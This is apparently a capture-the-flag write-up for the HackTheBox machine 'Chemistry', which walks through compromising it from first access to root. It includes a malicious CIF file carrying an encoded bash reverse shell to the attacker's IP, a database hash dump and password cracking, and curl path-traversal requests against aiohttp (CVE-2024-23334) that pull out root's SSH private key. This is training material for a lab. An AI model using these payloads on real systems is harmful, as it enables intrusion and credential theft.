Chemistry – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

‘Chemistry’ Avatar


Summary Link to heading

“Chemistry” is an easy box from HackTheBox platform. The victim machine is running a web server that allow us to upload CIF files. We are able to find an advisory for this type of files that allows Remote Command Execution; which eventually allow us to get access into the victim machine. We are also able to find a database file, dump its content and crack a password for a valid user inside the machine. We also find an internal web service being executed by root; this internal service is using a vulnerable version of Aiohttp -a library for Python- for CVE-2024-23334. This vulnerability allow us to read system files. Since the service is being executed as root, we are able to extract an SSH key for this user and take control of the system.


User Link to heading

Nmap scan shows 2 ports open: 22 SSH and 5000 (an initially unknown service):

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.38

Applying some recognition scans with -sVC flag over these ports we get:

❯ sudo nmap -sVC -p22,5000 10.10.11.38

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-23 03:52 -03
Stats: 0:01:51 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.11.38
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Wed, 23 Oct 2024 06:52:38 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
<SNIP>

From the output we can see Werkzeug/3.0.3 Python/3.9.5. I assume this page is running Flask and, therefore, a web server in that port.

Visiting http://10.10.11.38:5000 shows webpage that says something about CIF Analyzer:

Chemistry 1

We register with a simple account and now we can see a new panel (/dashboard directory):

Chemistry

The page provides an example.cif file (clicking on here text). It is an ASCII text file:

❯ file example.cif

example.cif: ASCII text

and reading it shows:

❯ cat example.cif

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

If we search for cif exploit on Google we can reach this Github advisory. Basically, we can create a .cif file that executes code, allowing a Remote Code Execution. They provide the PoC code:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1`+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Therefore, we will change the line/part:

("os").system ("touch pwned");0,0,0

to:

("os").system ("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxIg== | /usr/bin/base64 -d | /bin/bash");0,0,0

where we are passing the base64-encoded payload and I am using the absolute paths for base64 and bash binaries (otherwise, for some reason, it does not work). The encoded payload in base64 can easily be encoded in our terminal:

❯ echo -n 'bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' | base64 -w0

YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxIg==

where 10.10.16.2 is my attacker IP address and 443 is the port we will start listening with netcat). We will pipe this string to base64 -d to decode it and then pipe that to bash, so the code is executed and it should send me a reverse shell.

Our file is:

data_5yOhtAoR  
_audit_creation_date            2018-06-08  
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"  
  
loop_  
_parent_propagation_vector.id  
_parent_propagation_vector.kxkykz  
k1 [0 0 0]  
  
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1`+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxIg== | /usr/bin/base64 -d | /bin/bash");0,0,0'  
  
  
_space_group_magn.number_BNS  62.448  
_space_group_magn.name_BNS  "P  n'  m  a'  "

and save it as rev.cif.

We will upload this file to the webpage:

Chemistry 3

and, before triggering it, remember to start a listener with netcat on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Then, click on View and we should get a shell as app user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.38] 57678
bash: cannot set terminal process group (1070): Inappropriate ioctl for device
bash: no job control in this shell
app@chemistry:~$

Besides app user, we can see another user called rosa:

app@chemistry:~$ ls -la /home

ls -la /home
total 16
drwxr-xr-x  4 root root 4096 Jun 16 23:10 .
drwxr-xr-x 19 root root 4096 Oct 11 11:17 ..
drwxr-xr-x  8 app  app  4096 Oct  9 20:18 app
drwxr-xr-x  5 rosa rosa 4096 Jun 17 01:51 rosa

Searching for rosa at this user home directory shows:

app@chemistry:~$ grep -r "rosa" ~ 2>/dev/null

<SNIP>
Binary file /home/app/.local/lib/python3.9/site-packages/matplotlib/__pycache__/_color_data.cpython-39.pyc matches
/home/app/.local/lib/python3.9/site-packages/matplotlib/_color_data.py:    'rosa': '#fe86a4',
Binary file /home/app/instance/database.db matches

There is a database.db file with this user’s name on it.

We can then use grep along with -a flag to read binary files and read where is rosa in this database:

app@chemistry:~$ grep -a "rosa" /home/app/instance/database.db

eusebio6cad48078d0241cca9a7b322ecd073b3)p/instanMtaniaa4aa55e816205dc0389591c9f82f43bbMvictoriac3601ad2286a4293868ec2a4bc606ba3)Mpeter6845c17d298d95aa942127bdad2ceb9b*Mcarlos9ad48828b0955513f7cf0f7f6510c8f8*Mjobert3dec299e06f7ed187bac06bd3b670ab2*Mrobert02fcf7cfc10adc37959fb21f06c6b467(Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'Mapp197865e46b878d9e74a0346b6d59886a)Madmin2861debaf8d99436a10ed6f75a252abf
roberrosaapp    admin

To have a better view of this file we can grab this file into our attacker machine. Since the victim machine has Python installed, we will start a temporal HTTP server on port 8000 where this database file is located:

app@chemistry:~$ cd /home/app/instance/

app@chemistry:~/instance$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and grab that file into our attacker machine running wget:

❯ wget http://10.10.11.38:8000/database.db

--2024-10-23 04:39:05--  http://10.10.11.38:8000/database.db
Connecting to 10.10.11.38:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20480 (20K) [application/octet-stream]
Saving to: ‘database.db’

database.db                                100%[=======================================================================================>]  20.00K  43.8KB/s    in 0.5s

2024-10-23 04:39:06 (43.8 KB/s) - ‘database.db’ saved [20480/20480]

Then, use SQLite and .dump command to view what is inside:

❯ sqlite3 database.db

SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.

sqlite> .dump

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE structure (
        id INTEGER NOT NULL,
        user_id INTEGER NOT NULL,
        filename VARCHAR(150) NOT NULL,
        identifier VARCHAR(100) NOT NULL,
        PRIMARY KEY (id),
        FOREIGN KEY(user_id) REFERENCES user (id),
        UNIQUE (identifier)
);
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
INSERT INTO user VALUES(5,'jobert','3dec299e06f7ed187bac06bd3b670ab2');
INSERT INTO user VALUES(6,'carlos','9ad48828b0955513f7cf0f7f6510c8f8');
INSERT INTO user VALUES(7,'peter','6845c17d298d95aa942127bdad2ceb9b');
INSERT INTO user VALUES(8,'victoria','c3601ad2286a4293868ec2a4bc606ba3');
INSERT INTO user VALUES(9,'tania','a4aa55e816205dc0389591c9f82f43bb');
INSERT INTO user VALUES(10,'eusebio','6cad48078d0241cca9a7b322ecd073b3');
INSERT INTO user VALUES(11,'gelacia','4af70c80b68267012ecdac9a7e916d18');
INSERT INTO user VALUES(12,'fabian','4e5d71f53fdd2eabdbabb233113b5dc0');
INSERT INTO user VALUES(13,'axel','9347f9724ca083b17e39555c36fd9007');
INSERT INTO user VALUES(14,'kristel','6896ba7b11a62cacffbdaded457c6d92');
INSERT INTO user VALUES(15,'gunzf0x','7a73087e50057ec71981653afc3ac2b1');
COMMIT;

We have many hashes.

Using hash-identifier, they are possibly MD5 hashes:

❯ hash-identifier

<SNIP>
--------------------------------------------------
 HASH: 2861debaf8d99436a10ed6f75a252abf

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>

We will then grab the hash for rosa user and save it into a file named rosa_hash. Then, perform a Brute Force Password Cracking using john along with rockyou.txt dictionary:

❯ cat rosa_hash

63ed86ee9f624c7b14f1d4f43dc251a5

❯ john --wordlist=/usr/share/wordlists/rockyou.txt rosa_hash --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorniosrosados (?)
1g 0:00:00:00 DONE (2024-10-23 04:45) 2.941g/s 8769Kp/s 8769Kc/s 8769KC/s unihmaryanih..unicornios2805
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We have a password: unicorniosrosados.

We can check if this password works for this user through SSH with NetExec:

❯ nxc ssh 10.10.11.38 -u 'rosa' -p 'unicorniosrosados'

SSH         10.10.11.38     22     10.10.11.38      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.38     22     10.10.11.38      [+] rosa:unicorniosrosados  Linux - Shell access!

It works.

We can connect as this user though SSH:

❯ sshpass -p 'unicorniosrosados' ssh -o stricthostkeychecking=no rosa@10.10.11.38

<SNIP>
rosa@chemistry:~$ whoami
rosa

We can read the user flag at this user’s home directory.


Root Link to heading

When I was trying to pass database.db with Python HTTP server, I first attempted to start it on port 8080, but I got an error:

app@chemistry:~/instance$ python3 -m http.server 8080

Traceback (most recent call last):
  File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.8/http/server.py", line 1294, in <module>
    test(
  File "/usr/lib/python3.8/http/server.py", line 1249, in test
    with ServerClass(addr, HandlerClass) as httpd:
  File "/usr/lib/python3.8/socketserver.py", line 452, in __init__
    self.server_bind()
  File "/usr/lib/python3.8/http/server.py", line 1292, in server_bind
    return super().server_bind()
  File "/usr/lib/python3.8/http/server.py", line 138, in server_bind
    socketserver.TCPServer.server_bind(self)
  File "/usr/lib/python3.8/socketserver.py", line 466, in server_bind
    self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

By accident, we found the port was already being used. This port was not detected by Nmap scan as open, so it catched my attention.

If we check internal ports open we can see that this port was already being used as the previous error said:

rosa@chemistry:~$ ss -nltp
State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   128                                    0.0.0.0:5000                                 0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:8080                                 0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                      [::]:*

Additionally, using ps to check processes, we can see that there is an app.py file running, located at /opt:

rosa@chemistry:~$ ps aux | grep root
root           1  0.0  0.5 168140 11436 ?        Ss   06:49   0:01 /sbin/init maybe-ubiquity
root           2  0.0  0.0      0     0 ?        S    06:49   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   06:49   0:00 [rcu_gp]
<SNIP>
root         896  0.0  0.5 315104 11284 ?        Ssl  06:49   0:00 /usr/sbin/ModemManager
root        1071  0.0  1.3  35524 27776 ?        Ss   06:49   0:00 /usr/bin/python3.9 /opt/monitoring_site/app.py
root        1075  0.0  0.1   6816  2876 ?        Ss   06:49   0:00 /usr/sbin/cron -f
<SNIP>

We do not have access to this app.py file:

rosa@chemistry:~$ ls -la /opt/monitoring_site/app.py

ls: cannot access '/opt/monitoring_site/app.py': Permission denied

We check if this is, in fact, a website using cURL against the localhost of the victim machine:

rosa@chemistry:~$ curl -s http://127.0.0.1:8080 | head -n 5

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

Since the content is HTML, we can assume this is an internal website.

We will create a tunnel through a Local Port Forwarding to have access to this page, taking advantage of SSH service. We exit from the current SSH session with rosa, and log in again, but this time converting port 8080 of the victim machine into our port 8080:

❯ sshpass -p 'unicorniosrosados' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 rosa@10.10.11.38

Once done, we can open a web browser like Firefox and visit http://127.0.0.1:8080 we can see a new site named Site Monitoring:

Chemistry 4

Site Monitoring is a similar name as the directory containing app.py being run by root, so I assume this service is being run by root.

However, many of the buttons in the page just do not work (they redirect to /# directory). What we do then is use cURL again against the website, but this time we use -I flag to see the headers and be able to identify what is this service running in:

rosa@chemistry:~$ curl -I http://127.0.0.1:8080

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Wed, 23 Oct 2024 08:00:14 GMT
Server: Python/3.9 aiohttp/3.9.1

It is running AioHTTP:

Info
Aiohttp is a Python library that can make asynchronous web services and applications that work fast and are scalable.

Searching for aiohttp/3.9.1 exploit yields to this Github repository, where they provide a script for a vulnerability labeled as CVE-2024-23334, that is a Directory Traversal vulnerability. In short, reading exploit.sh script from the repository, the vulnerability allows to make a request to:

curl -s --path-as-is "<url><payload-traversal><file>"

and read files.

So we run this into the victim machine. But we need a valid directory for it. If we go to the webpage http://127.0.0.1:8080 in the web browser (or see the webpage with cURL, both ways provide the same results) and see the source code, we can see an assets directory:

!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Site Monitoring</title>
    <link rel="stylesheet" href="/assets/css/all.min.css">
    <script src="/assets/js/jquery-3.6.0.min.js"></script>
    <script src="/assets/js/chart.js"></script>
    <link rel="stylesheet" href="/assets/css/style.css">
    <style>
    h2 {
      color: black;
      font-style: italic;
    }
<SNIP>

Subsequently, we run:

rosa@chemistry:~$ curl -s --path-as-is "http://127.0.0.1:8080/assets/../../../../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

It worked.

Since this service is being run by root, we can read any file in the system. We therefore will see if root has an id_rsa key (or we could just read /root/root.txt flag, but that’s boring). To read this file we execute then:

rosa@chemistry:~$ curl -s --path-as-is "http://127.0.0.1:8080/assets/../../../../../../../root/.ssh/id_rsa"

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

We got an id_rsa key.

We can then save this file into our attacker machine, assign permissions to it and use it to connect via SSH as root user:

❯ nvim root_id_rsa

❯ chmod 600 root_id_rsa

❯ ssh -i root_id_rsa root@10.10.11.38

<SNIP>
Last login: Fri Oct 11 14:06:59 2024
root@chemistry:~# whoami

root

GG. We can read root flag at /root directory.

~Happy Hacking